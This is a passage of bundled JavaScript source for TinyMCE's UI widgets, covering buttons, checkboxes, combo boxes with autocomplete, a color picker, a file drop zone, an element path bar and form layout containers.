          var iconElm = btnElm.getElementsByTagName('i')[0];
          if (icon) {
            if (!iconElm || iconElm !== btnElm.firstChild) {
              iconElm = domGlobals.document.createElement('i');
              btnElm.insertBefore(iconElm, btnElm.firstChild);
            }
            iconElm.className = icon;
          } else if (iconElm) {
            btnElm.removeChild(iconElm);
          }
          setButtonText(self.state.get('text'));
        });
        return self._super();
      }
    });

    var BrowseButton = Button.extend({
      init: function (settings) {
        var self = this;
        settings = global$2.extend({
          text: 'Browse...',
          multiple: false,
          accept: null
        }, settings);
        self._super(settings);
        self.classes.add('browsebutton');
        if (settings.multiple) {
          self.classes.add('multiple');
        }
      },
      postRender: function () {
        var self = this;
        var input = funcs.create('input', {
          type: 'file',
          id: self._id + '-browse',
          accept: self.settings.accept
        });
        self._super();
        global$9(input).on('change', function (e) {
          var files = e.target.files;
          self.value = function () {
            if (!files.length) {
              return null;
            } else if (self.settings.multiple) {
              return files;
            } else {
              return files[0];
            }
          };
          e.preventDefault();
          if (files.length) {
            self.fire('change', e);
          }
        });
        global$9(input).on('click', function (e) {
          e.stopPropagation();
        });
        global$9(self.getEl('button')).on('click touchstart', function (e) {
          e.stopPropagation();
          input.click();
          e.preventDefault();
        });
        self.getEl().appendChild(input);
      },
      remove: function () {
        global$9(this.getEl('button')).off();
        global$9(this.getEl('input')).off();
        this._super();
      }
    });

    var ButtonGroup = Container.extend({
      Defaults: {
        defaultType: 'button',
        role: 'group'
      },
      renderHtml: function () {
        var self = this, layout = self._layout;
        self.classes.add('btn-group');
        self.preRender();
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      }
    });

    var Checkbox = Widget.extend({
      Defaults: {
        classes: 'checkbox',
        role: 'checkbox',
        checked: false
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.on('click mousedown', function (e) {
          e.preventDefault();
        });
        self.on('click', function (e) {
          e.preventDefault();
          if (!self.disabled()) {
            self.checked(!self.checked());
          }
        });
        self.checked(self.settings.checked);
      },
      checked: function (state) {
        if (!arguments.length) {
          return this.state.get('checked');
        }
        this.state.set('checked', state);
        return this;
      },
      value: function (state) {
        if (!arguments.length) {
          return this.checked();
        }
        return this.checked(state);
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '" unselectable="on" aria-labelledby="' + id + '-al" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-checkbox"></i>' + '<span id="' + id + '-al" class="' + prefix + 'label">' + self.encode(self.state.get('text')) + '</span>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        function checked(state) {
          self.classes.toggle('checked', state);
          self.aria('checked', state);
        }
        self.state.on('change:text', function (e) {
          self.getEl('al').firstChild.data = self.translate(e.value);
        });
        self.state.on('change:checked change:value', function (e) {
          self.fire('change');
          checked(e.value);
        });
        self.state.on('change:icon', function (e) {
          var icon = e.value;
          var prefix = self.classPrefix;
          if (typeof icon === 'undefined') {
            return self.settings.icon;
          }
          self.settings.icon = icon;
          icon = icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
          var btnElm = self.getEl().firstChild;
          var iconElm = btnElm.getElementsByTagName('i')[0];
          if (icon) {
            if (!iconElm || iconElm !== btnElm.firstChild) {
              iconElm = domGlobals.document.createElement('i');
              btnElm.insertBefore(iconElm, btnElm.firstChild);
            }
            iconElm.className = icon;
          } else if (iconElm) {
            btnElm.removeChild(iconElm);
          }
        });
        if (self.state.get('checked')) {
          checked(true);
        }
        return self._super();
      }
    });

    var global$d = tinymce.util.Tools.resolve('tinymce.util.VK');

    var ComboBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        self.classes.add('combobox');
        self.subinput = true;
        self.ariaTarget = 'inp';
        settings.menu = settings.menu || settings.values;
        if (settings.menu) {
          settings.icon = 'caret';
        }
        self.on('click', function (e) {
          var elm = e.target;
          var root = self.getEl();
          if (!global$9.contains(root, elm) && elm !== root) {
            return;
          }
          while (elm && elm !== root) {
            if (elm.id && elm.id.indexOf('-open') !== -1) {
              self.fire('action');
              if (settings.menu) {
                self.showMenu();
                if (e.aria) {
                  self.menu.items()[0].focus();
                }
              }
            }
            elm = elm.parentNode;
          }
        });
        self.on('keydown', function (e) {
          var rootControl;
          if (e.keyCode === 13 && e.target.nodeName === 'INPUT') {
            e.preventDefault();
            self.parents().reverse().each(function (ctrl) {
              if (ctrl.toJSON) {
                rootControl = ctrl;
                return false;
              }
            });
            self.fire('submit', { data: rootControl.toJSON() });
          }
        });
        self.on('keyup', function (e) {
          if (e.target.nodeName === 'INPUT') {
            var oldValue = self.state.get('value');
            var newValue = e.target.value;
            if (newValue !== oldValue) {
              self.state.set('value', newValue);
              self.fire('autocomplete', e);
            }
          }
        });
        self.on('mouseover', function (e) {
          var tooltip = self.tooltip().moveTo(-65535);
          if (self.statusLevel() && e.target.className.indexOf(self.classPrefix + 'status') !== -1) {
            var statusMessage = self.statusMessage() || 'Ok';
            var rel = tooltip.text(statusMessage).show().testMoveRel(e.target, [
              'bc-tc',
              'bc-tl',
              'bc-tr'
            ]);
            tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
            tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
            tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
            tooltip.moveRel(e.target, rel);
          }
        });
      },
      statusLevel: function (value) {
        if (arguments.length > 0) {
          this.state.set('statusLevel', value);
        }
        return this.state.get('statusLevel');
      },
      statusMessage: function (value) {
        if (arguments.length > 0) {
          this.state.set('statusMessage', value);
        }
        return this.state.get('statusMessage');
      },
      showMenu: function () {
        var self = this;
        var settings = self.settings;
        var menu;
        if (!self.menu) {
          menu = settings.menu || [];
          if (menu.length) {
            menu = {
              type: 'menu',
              items: menu
            };
          } else {
            menu.type = menu.type || 'menu';
          }
          self.menu = global$4.create(menu).parent(self).renderTo(self.getContainerElm());
          self.fire('createmenu');
          self.menu.reflow();
          self.menu.on('cancel', function (e) {
            if (e.control === self.menu) {
              self.focus();
            }
          });
          self.menu.on('show hide', function (e) {
            e.control.items().each(function (ctrl) {
              ctrl.active(ctrl.value() === self.value());
            });
          }).fire('show');
          self.menu.on('select', function (e) {
            self.value(e.control.value());
          });
          self.on('focusin', function (e) {
            if (e.target.tagName.toUpperCase() === 'INPUT') {
              self.menu.hide();
            }
          });
          self.aria('expanded', true);
        }
        self.menu.show();
        self.menu.layoutRect({ w: self.layoutRect().w });
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
      },
      focus: function () {
        this.getEl('inp').focus();
      },
      repaint: function () {
        var self = this, elm = self.getEl(), openElm = self.getEl('open'), rect = self.layoutRect();
        var width, lineHeight, innerPadding = 0;
        var inputElm = elm.firstChild;
        if (self.statusLevel() && self.statusLevel() !== 'none') {
          innerPadding = parseInt(funcs.getRuntimeStyle(inputElm, 'padding-right'), 10) - parseInt(funcs.getRuntimeStyle(inputElm, 'padding-left'), 10);
        }
        if (openElm) {
          width = rect.w - funcs.getSize(openElm).width - 10;
        } else {
          width = rect.w - 10;
        }
        var doc = domGlobals.document;
        if (doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
          lineHeight = self.layoutRect().h - 2 + 'px';
        }
        global$9(inputElm).css({
          width: width - innerPadding,
          lineHeight: lineHeight
        });
        self._super();
        return self;
      },
      postRender: function () {
        var self = this;
        global$9(this.getEl('inp')).on('change', function (e) {
          self.state.set('value', e.target.value);
          self.fire('change', e);
        });
        return self._super();
      },
      renderHtml: function () {
        var self = this, id = self._id, settings = self.settings, prefix = self.classPrefix;
        var value = self.state.get('value') || '';
        var icon, text, openBtnHtml = '', extraAttrs = '', statusHtml = '';
        if ('spellcheck' in settings) {
          extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
        }
        if (settings.maxLength) {
          extraAttrs += ' maxlength="' + settings.maxLength + '"';
        }
        if (settings.size) {
          extraAttrs += ' size="' + settings.size + '"';
        }
        if (settings.subtype) {
          extraAttrs += ' type="' + settings.subtype + '"';
        }
        statusHtml = '<i id="' + id + '-status" class="mce-status mce-ico" style="display: none"></i>';
        if (self.disabled()) {
          extraAttrs += ' disabled="disabled"';
        }
        icon = settings.icon;
        if (icon && icon !== 'caret') {
          icon = prefix + 'ico ' + prefix + 'i-' + settings.icon;
        }
        text = self.state.get('text');
        if (icon || text) {
          openBtnHtml = '<div id="' + id + '-open" class="' + prefix + 'btn ' + prefix + 'open" tabIndex="-1" role="button">' + '<button id="' + id + '-action" type="button" hidefocus="1" tabindex="-1">' + (icon !== 'caret' ? '<i class="' + icon + '"></i>' : '<i class="' + prefix + 'caret"></i>') + (text ? (icon ? ' ' : '') + text : '') + '</button>' + '</div>';
          self.classes.add('has-open');
        }
        return '<div id="' + id + '" class="' + self.classes + '">' + '<input id="' + id + '-inp" class="' + prefix + 'textbox" value="' + self.encode(value, false) + '" hidefocus="1"' + extraAttrs + ' placeholder="' + self.encode(settings.placeholder) + '" />' + statusHtml + openBtnHtml + '</div>';
      },
      value: function (value) {
        if (arguments.length) {
          this.state.set('value', value);
          return this;
        }
        if (this.state.get('rendered')) {
          this.state.set('value', this.getEl('inp').value);
        }
        return this.state.get('value');
      },
      showAutoComplete: function (items, term) {
        var self = this;
        if (items.length === 0) {
          self.hideMenu();
          return;
        }
        var insert = function (value, title) {
          return function () {
            self.fire('selectitem', {
              title: title,
              value: value
            });
          };
        };
        if (self.menu) {
          self.menu.items().remove();
        } else {
          self.menu = global$4.create({
            type: 'menu',
            classes: 'combobox-menu',
            layout: 'flow'
          }).parent(self).renderTo();
        }
        global$2.each(items, function (item) {
          self.menu.add({
            text: item.title,
            url: item.previewUrl,
            match: term,
            classes: 'menu-item-ellipsis',
            onclick: insert(item.value, item.title)
          });
        });
        self.menu.renderNew();
        self.hideMenu();
        self.menu.on('cancel', function (e) {
          if (e.control.parent() === self.menu) {
            e.stopPropagation();
            self.focus();
            self.hideMenu();
          }
        });
        self.menu.on('select', function () {
          self.focus();
        });
        var maxW = self.layoutRect().w;
        self.menu.layoutRect({
          w: maxW,
          minW: 0,
          maxW: maxW
        });
        self.menu.repaint();
        self.menu.reflow();
        self.menu.show();
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
      },
      hideMenu: function () {
        if (this.menu) {
          this.menu.hide();
        }
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.getEl('inp').value !== e.value) {
            self.getEl('inp').value = e.value;
          }
        });
        self.state.on('change:disabled', function (e) {
          self.getEl('inp').disabled = e.value;
        });
        self.state.on('change:statusLevel', function (e) {
          var statusIconElm = self.getEl('status');
          var prefix = self.classPrefix, value = e.value;
          funcs.css(statusIconElm, 'display', value === 'none' ? 'none' : '');
          funcs.toggleClass(statusIconElm, prefix + 'i-checkmark', value === 'ok');
          funcs.toggleClass(statusIconElm, prefix + 'i-warning', value === 'warn');
          funcs.toggleClass(statusIconElm, prefix + 'i-error', value === 'error');
          self.classes.toggle('has-status', value !== 'none');
          self.repaint();
        });
        funcs.on(self.getEl('status'), 'mouseleave', function () {
          self.tooltip().hide();
        });
        self.on('cancel', function (e) {
          if (self.menu && self.menu.visible()) {
            e.stopPropagation();
            self.hideMenu();
          }
        });
        var focusIdx = function (idx, menu) {
          if (menu && menu.items().length > 0) {
            menu.items().eq(idx)[0].focus();
          }
        };
        self.on('keydown', function (e) {
          var keyCode = e.keyCode;
          if (e.target.nodeName === 'INPUT') {
            if (keyCode === global$d.DOWN) {
              e.preventDefault();
              self.fire('autocomplete');
              focusIdx(0, self.menu);
            } else if (keyCode === global$d.UP) {
              e.preventDefault();
              focusIdx(-1, self.menu);
            }
          }
        });
        return self._super();
      },
      remove: function () {
        global$9(this.getEl('inp')).off();
        if (this.menu) {
          this.menu.remove();
        }
        this._super();
      }
    });

    var ColorBox = ComboBox.extend({
      init: function (settings) {
        var self = this;
        settings.spellcheck = false;
        if (settings.onaction) {
          settings.icon = 'none';
        }
        self._super(settings);
        self.classes.add('colorbox');
        self.on('change keyup postrender', function () {
          self.repaintColor(self.value());
        });
      },
      repaintColor: function (value) {
        var openElm = this.getEl('open');
        var elm = openElm ? openElm.getElementsByTagName('i')[0] : null;
        if (elm) {
          try {
            elm.style.background = value;
          } catch (ex) {
          }
        }
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.state.get('rendered')) {
            self.repaintColor(e.value);
          }
        });
        return self._super();
      }
    });

    var PanelButton = Button.extend({
      showPanel: function () {
        var self = this, settings = self.settings;
        self.classes.add('opened');
        if (!self.panel) {
          var panelSettings = settings.panel;
          if (panelSettings.type) {
            panelSettings = {
              layout: 'grid',
              items: panelSettings
            };
          }
          panelSettings.role = panelSettings.role || 'dialog';
          panelSettings.popover = true;
          panelSettings.autohide = true;
          panelSettings.ariaRoot = true;
          self.panel = new FloatPanel(panelSettings).on('hide', function () {
            self.classes.remove('opened');
          }).on('cancel', function (e) {
            e.stopPropagation();
            self.focus();
            self.hidePanel();
          }).parent(self).renderTo(self.getContainerElm());
          self.panel.fire('show');
          self.panel.reflow();
        } else {
          self.panel.show();
        }
        var rtlRels = [
          'bc-tc',
          'bc-tl',
          'bc-tr'
        ];
        var ltrRels = [
          'bc-tc',
          'bc-tr',
          'bc-tl',
          'tc-bc',
          'tc-br',
          'tc-bl'
        ];
        var rel = self.panel.testMoveRel(self.getEl(), settings.popoverAlign || (self.isRtl() ? rtlRels : ltrRels));
        self.panel.classes.toggle('start', rel.substr(-1) === 'l');
        self.panel.classes.toggle('end', rel.substr(-1) === 'r');
        var isTop = rel.substr(0, 1) === 't';
        self.panel.classes.toggle('bottom', !isTop);
        self.panel.classes.toggle('top', isTop);
        self.panel.moveRel(self.getEl(), rel);
      },
      hidePanel: function () {
        var self = this;
        if (self.panel) {
          self.panel.hide();
        }
      },
      postRender: function () {
        var self = this;
        self.aria('haspopup', true);
        self.on('click', function (e) {
          if (e.control === self) {
            if (self.panel && self.panel.visible()) {
              self.hidePanel();
            } else {
              self.showPanel();
              self.panel.focus(!!e.aria);
            }
          }
        });
        return self._super();
      },
      remove: function () {
        if (this.panel) {
          this.panel.remove();
          this.panel = null;
        }
        return this._super();
      }
    });

    var DOM$3 = global$3.DOM;
    var ColorButton = PanelButton.extend({
      init: function (settings) {
        this._super(settings);
        this.classes.add('splitbtn');
        this.classes.add('colorbutton');
      },
      color: function (color) {
        if (color) {
          this._color = color;
          this.getEl('preview').style.backgroundColor = color;
          return this;
        }
        return this._color;
      },
      resetColor: function () {
        this._color = null;
        this.getEl('preview').style.backgroundColor = null;
        return this;
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix, text = self.state.get('text');
        var icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
        var image = self.settings.image ? ' style="background-image: url(\'' + self.settings.image + '\')"' : '';
        var textHtml = '';
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        return '<div id="' + id + '" class="' + self.classes + '" role="button" tabindex="-1" aria-haspopup="true">' + '<button role="presentation" hidefocus="1" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + '<span id="' + id + '-preview" class="' + prefix + 'preview"></span>' + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this, onClickHandler = self.settings.onclick;
        self.on('click', function (e) {
          if (e.aria && e.aria.key === 'down') {
            return;
          }
          if (e.control === self && !DOM$3.getParent(e.target, '.' + self.classPrefix + 'open')) {
            e.stopImmediatePropagation();
            onClickHandler.call(self, e);
          }
        });
        delete self.settings.onclick;
        return self._super();
      }
    });

    var global$e = tinymce.util.Tools.resolve('tinymce.util.Color');

    var ColorPicker = Widget.extend({
      Defaults: { classes: 'widget colorpicker' },
      init: function (settings) {
        this._super(settings);
      },
      postRender: function () {
        var self = this;
        var color = self.color();
        var hsv, hueRootElm, huePointElm, svRootElm, svPointElm;
        hueRootElm = self.getEl('h');
        huePointElm = self.getEl('hp');
        svRootElm = self.getEl('sv');
        svPointElm = self.getEl('svp');
        function getPos(elm, event) {
          var pos = funcs.getPos(elm);
          var x, y;
          x = event.pageX - pos.x;
          y = event.pageY - pos.y;
          x = Math.max(0, Math.min(x / elm.clientWidth, 1));
          y = Math.max(0, Math.min(y / elm.clientHeight, 1));
          return {
            x: x,
            y: y
          };
        }
        function updateColor(hsv, hueUpdate) {
          var hue = (360 - hsv.h) / 360;
          funcs.css(huePointElm, { top: hue * 100 + '%' });
          if (!hueUpdate) {
            funcs.css(svPointElm, {
              left: hsv.s + '%',
              top: 100 - hsv.v + '%'
            });
          }
          svRootElm.style.background = global$e({
            s: 100,
            v: 100,
            h: hsv.h
          }).toHex();
          self.color().parse({
            s: hsv.s,
            v: hsv.v,
            h: hsv.h
          });
        }
        function updateSaturationAndValue(e) {
          var pos;
          pos = getPos(svRootElm, e);
          hsv.s = pos.x * 100;
          hsv.v = (1 - pos.y) * 100;
          updateColor(hsv);
          self.fire('change');
        }
        function updateHue(e) {
          var pos;
          pos = getPos(hueRootElm, e);
          hsv = color.toHsv();
          hsv.h = (1 - pos.y) * 360;
          updateColor(hsv, true);
          self.fire('change');
        }
        self._repaint = function () {
          hsv = color.toHsv();
          updateColor(hsv);
        };
        self._super();
        self._svdraghelper = new DragHelper(self._id + '-sv', {
          start: updateSaturationAndValue,
          drag: updateSaturationAndValue
        });
        self._hdraghelper = new DragHelper(self._id + '-h', {
          start: updateHue,
          drag: updateHue
        });
        self._repaint();
      },
      rgb: function () {
        return this.color().toRgb();
      },
      value: function (value) {
        var self = this;
        if (arguments.length) {
          self.color().parse(value);
          if (self._rendered) {
            self._repaint();
          }
        } else {
          return self.color().toHex();
        }
      },
      color: function () {
        if (!this._color) {
          this._color = global$e();
        }
        return this._color;
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var prefix = self.classPrefix;
        var hueHtml;
        var stops = '#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000';
        function getOldIeFallbackHtml() {
          var i, l, html = '', gradientPrefix, stopsList;
          gradientPrefix = 'filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=';
          stopsList = stops.split(',');
          for (i = 0, l = stopsList.length - 1; i < l; i++) {
            html += '<div class="' + prefix + 'colorpicker-h-chunk" style="' + 'height:' + 100 / l + '%;' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ');' + '-ms-' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ')' + '"></div>';
          }
          return html;
        }
        var gradientCssText = 'background: -ms-linear-gradient(top,' + stops + ');' + 'background: linear-gradient(to bottom,' + stops + ');';
        hueHtml = '<div id="' + id + '-h" class="' + prefix + 'colorpicker-h" style="' + gradientCssText + '">' + getOldIeFallbackHtml() + '<div id="' + id + '-hp" class="' + prefix + 'colorpicker-h-marker"></div>' + '</div>';
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-sv" class="' + prefix + 'colorpicker-sv">' + '<div class="' + prefix + 'colorpicker-overlay1">' + '<div class="' + prefix + 'colorpicker-overlay2">' + '<div id="' + id + '-svp" class="' + prefix + 'colorpicker-selector1">' + '<div class="' + prefix + 'colorpicker-selector2"></div>' + '</div>' + '</div>' + '</div>' + '</div>' + hueHtml + '</div>';
      }
    });

    var DropZone = Widget.extend({
      init: function (settings) {
        var self = this;
        settings = global$2.extend({
          height: 100,
          text: 'Drop an image here',
          multiple: false,
          accept: null
        }, settings);
        self._super(settings);
        self.classes.add('dropzone');
        if (settings.multiple) {
          self.classes.add('multiple');
        }
      },
      renderHtml: function () {
        var self = this;
        var attrs, elm;
        var cfg = self.settings;
        attrs = {
          id: self._id,
          hidefocus: '1'
        };
        elm = funcs.create('div', attrs, '<span>' + this.translate(cfg.text) + '</span>');
        if (cfg.height) {
          funcs.css(elm, 'height', cfg.height + 'px');
        }
        if (cfg.width) {
          funcs.css(elm, 'width', cfg.width + 'px');
        }
        elm.className = self.classes;
        return elm.outerHTML;
      },
      postRender: function () {
        var self = this;
        var toggleDragClass = function (e) {
          e.preventDefault();
          self.classes.toggle('dragenter');
          self.getEl().className = self.classes;
        };
        var filter = function (files) {
          var accept = self.settings.accept;
          if (typeof accept !== 'string') {
            return files;
          }
          var re = new RegExp('(' + accept.split(/\s*,\s*/).join('|') + ')$', 'i');
          return global$2.grep(files, function (file) {
            return re.test(file.name);
          });
        };
        self._super();
        self.$el.on('dragover', function (e) {
          e.preventDefault();
        });
        self.$el.on('dragenter', toggleDragClass);
        self.$el.on('dragleave', toggleDragClass);
        self.$el.on('drop', function (e) {
          e.preventDefault();
          if (self.state.get('disabled')) {
            return;
          }
          var files = filter(e.dataTransfer.files);
          self.value = function () {
            if (!files.length) {
              return null;
            } else if (self.settings.multiple) {
              return files;
            } else {
              return files[0];
            }
          };
          if (files.length) {
            self.fire('change', e);
          }
        });
      },
      remove: function () {
        this.$el.off();
        this._super();
      }
    });

    var Path = Widget.extend({
      init: function (settings) {
        var self = this;
        if (!settings.delimiter) {
          settings.delimiter = '\xBB';
        }
        self._super(settings);
        self.classes.add('path');
        self.canFocus = true;
        self.on('click', function (e) {
          var index;
          var target = e.target;
          if (index = target.getAttribute('data-index')) {
            self.fire('select', {
              value: self.row()[index],
              index: index
            });
          }
        });
        self.row(self.settings.row);
      },
      focus: function () {
        var self = this;
        self.getEl().firstChild.focus();
        return self;
      },
      row: function (row) {
        if (!arguments.length) {
          return this.state.get('row');
        }
        this.state.set('row', row);
        return this;
      },
      renderHtml: function () {
        var self = this;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + self._getDataPathHtml(self.state.get('row')) + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:row', function (e) {
          self.innerHtml(self._getDataPathHtml(e.value));
        });
        return self._super();
      },
      _getDataPathHtml: function (data) {
        var self = this;
        var parts = data || [];
        var i, l, html = '';
        var prefix = self.classPrefix;
        for (i = 0, l = parts.length; i < l; i++) {
          html += (i > 0 ? '<div class="' + prefix + 'divider" aria-hidden="true"> ' + self.settings.delimiter + ' </div>' : '') + '<div role="button" class="' + prefix + 'path-item' + (i === l - 1 ? ' ' + prefix + 'last' : '') + '" data-index="' + i + '" tabindex="-1" id="' + self._id + '-' + i + '" aria-level="' + (i + 1) + '">' + parts[i].name + '</div>';
        }
        if (!html) {
          html = '<div class="' + prefix + 'path-item">\xA0</div>';
        }
        return html;
      }
    });

    var ElementPath = Path.extend({
      postRender: function () {
        var self = this, editor = self.settings.editor;
        function isHidden(elm) {
          if (elm.nodeType === 1) {
            if (elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus')) {
              return true;
            }
            if (elm.getAttribute('data-mce-type') === 'bookmark') {
              return true;
            }
          }
          return false;
        }
        if (editor.settings.elementpath !== false) {
          self.on('select', function (e) {
            editor.focus();
            editor.selection.select(this.row()[e.index].element);
            editor.nodeChanged();
          });
          editor.on('nodeChange', function (e) {
            var outParents = [];
            var parents = e.parents;
            var i = parents.length;
            while (i--) {
              if (parents[i].nodeType === 1 && !isHidden(parents[i])) {
                var args = editor.fire('ResolveName', {
                  name: parents[i].nodeName.toLowerCase(),
                  target: parents[i]
                });
                if (!args.isDefaultPrevented()) {
                  outParents.push({
                    name: args.name,
                    element: parents[i]
                  });
                }
                if (args.isPropagationStopped()) {
                  break;
                }
              }
            }
            self.row(outParents);
          });
        }
        return self._super();
      }
    });

    var FormItem = Container.extend({
      Defaults: {
        layout: 'flex',
        align: 'center',
        defaults: { flex: 1 }
      },
      renderHtml: function () {
        var self = this, layout = self._layout, prefix = self.classPrefix;
        self.classes.add('formitem');
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<div id="' + self._id + '-title" class="' + prefix + 'title">' + self.settings.title + '</div>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      }
    });

    var Form = Container.extend({
      Defaults: {
        containerCls: 'form',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        flex: 1,
        padding: 15,
        labelGap: 30,
        spacing: 10,
        callbacks: {
          submit: function () {
            this.submit();
          }
        }
      },
      preRender: function () {
        var self = this, items = self.items();
        if (!self.settings.formItemDefaults) {
          self.settings.formItemDefaults = {
            layout: 'flex',
            autoResize: 'overflow',
            defaults: { flex: 1 }
          };
        }
        items.each(function (ctrl) {
          var formItem;
          var label = ctrl.settings.label;
          if (label) {
            formItem = new FormItem(global$2.extend({
              items: {
                type: 'label',
                id: ctrl._id + '-l',
                text: label,
                flex: 0,
                forId: ctrl._id,
                disabled: ctrl.disabled()
              }
            }, self.settings.formItemDefaults));
            formItem.type = 'formitem';
            ctrl.aria('labelledby', ctrl._id + '-l');
            if (typeof ctrl.settings.flex === 'undefined') {
              ctrl.settings.flex = 1;
            }
            self.replace(ctrl, formItem);
            formItem.add(ctrl);
          }
        });
      },
      submit: function () {
        return this.fire('submit', { data: this.toJSON() });
      },
      postRender: function () {
        var self = this;
        self._super();
        self.fromJSON(self.settings.data);
      },
      bindStates: function () {
        var self = this;
        self._super();
        function recalcLabels() {
          var maxLabelWidth = 0;
          var labels = [];
          var i, labelGap, items;
          if (self.settings.labelGapCalc === false) {
            return;
          }
          if (self.settings.labelGapCalc === 'children') {
            items = self.find('formitem');
          } else {
            items = self.items();
          }
          items.filter('formitem').each(function (item) {
            var labelCtrl = item.items()[0], labelWidth = labelCtrl.getEl().clientWidth;
            maxLabelWidth = labelWidth > maxLabelWidth ? labelWidth : maxLabelWidth;
            labels.push(labelCtrl);
          });
          labelGap = self.settings.labelGap || 0;
          i = labels.length;
          while (i--) {
            labels[i].settings.minWidth = maxLabelWidth + labelGap;
          }
        }
        self.on('show', recalcLabels);
        recalcLabels();
      }
    });

    var FieldSet = Form.extend({
      Defaults: {
        containerCls: 'fieldset',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        flex: 1,
        padding: '25 15 5 15',
        labelGap: 30,
        spacing: 10,
        border: 1
      },
      renderHtml: function () {
        var self = this, layout = self._layout, prefix = self.classPrefix;
        self.preRender();
        layout.preRender(self);
        return '<fieldset id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<legend id="' + self._id + '-title" class="' + prefix + 'fieldset-title">' + self.settings.title + '</legend>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</fieldset>';
      }
    });

    var unique$1 = 0;
    var generate = function (prefix) {
      var date = new Date();
      var time = date.getTime();
      var random = Math.floor(Math.random() * 1000000000);
      unique$1++;
      return prefix + '_' + random + unique$1 + String(time);
    };

    var fromHtml = function (html, scope) {
      var doc = scope || domGlobals.document;
      var div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        domGlobals.console.error('HTML does not have a single root node', html);
        throw new Error('HTML must have a single root node');
      }
      return fromDom(div.childNodes[0]);
    };
    var fromTag = function (tag, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createElement(tag);
      return fromDom(node);
    };
    var fromText = function (text, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createTextNode(text);
      return fromDom(node);
    };
    var fromDom = function (node) {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: constant(node) };
    };
    var fromPoint = function (docElm, x, y) {
      var doc = docElm.dom();
      return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
    };
    var Element = {
      fromHtml: fromHtml,
      fromTag: fromTag,
      fromText: fromText,
      fromDom: fromDom,
      fromPoint: fromPoint
    };

    var cached = function (f) {
      var called = false;
      var r;
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE;
    var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE;
    var COMMENT = domGlobals.Node.COMMENT_NODE;
    var DOCUMENT = domGlobals.Node.DOCUMENT_NODE;
    var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE;
    var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE;
    var ELEMENT = domGlobals.Node.ELEMENT_NODE;
    var TEXT = domGlobals.Node.TEXT_NODE;
    var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE;
    var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE;
    var ENTITY = domGlobals.Node.ENTITY_NODE;
    var NOTATION = domGlobals.Node.NOTATION_NODE;

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
